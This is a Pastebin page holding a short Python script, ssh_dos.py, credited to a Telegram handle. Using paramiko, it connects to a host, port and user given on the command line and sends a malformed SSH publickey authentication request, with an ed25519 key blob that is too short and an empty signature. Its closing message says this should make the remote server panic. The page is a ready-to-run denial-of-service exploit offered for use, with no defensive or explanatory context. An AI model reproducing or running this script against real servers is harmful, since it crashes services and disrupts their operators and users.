Advertisement
FunNikita

ssh_dos.py

Jan 4th, 2021
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.01 KB | None | 0 0
  1. import socket
  2. import sys
  3.  
  4. import paramiko
  5. from paramiko.common import cMSG_SERVICE_REQUEST, cMSG_USERAUTH_REQUEST
  6. print('Author: t.me/antichristone')
  7.  
  8. if len(sys.argv) != 4:
  9.     print('python3 ssh_dos.py host port user')
  10.     sys.exit(1)
  11.  
  12. host = sys.argv[1]
  13. port = int(sys.argv[2])
  14. user = sys.argv[3]
  15.  
  16. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  17. sock.connect((host, port))
  18.  
  19. t = paramiko.Transport(sock)
  20. t.start_client()
  21.  
  22. t.lock.acquire()
  23. m = paramiko.Message()
  24. m.add_byte(cMSG_SERVICE_REQUEST)
  25. m.add_string("ssh-userauth")
  26. t._send_message(m)
  27.  
  28. m = paramiko.Message()
  29. m.add_byte(cMSG_USERAUTH_REQUEST)
  30. m.add_string(user)
  31. m.add_string("ssh-connection")
  32. m.add_string('publickey')
  33. m.add_boolean(True)
  34. m.add_string('ssh-ed25519')
  35.  
  36.  
  37. m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short')
  38.  
  39. m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x00')
  40.  
  41. t._send_message(m)
  42.  
  43. print('Malformed auth request sent. This should cause a panic on the remote server.')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement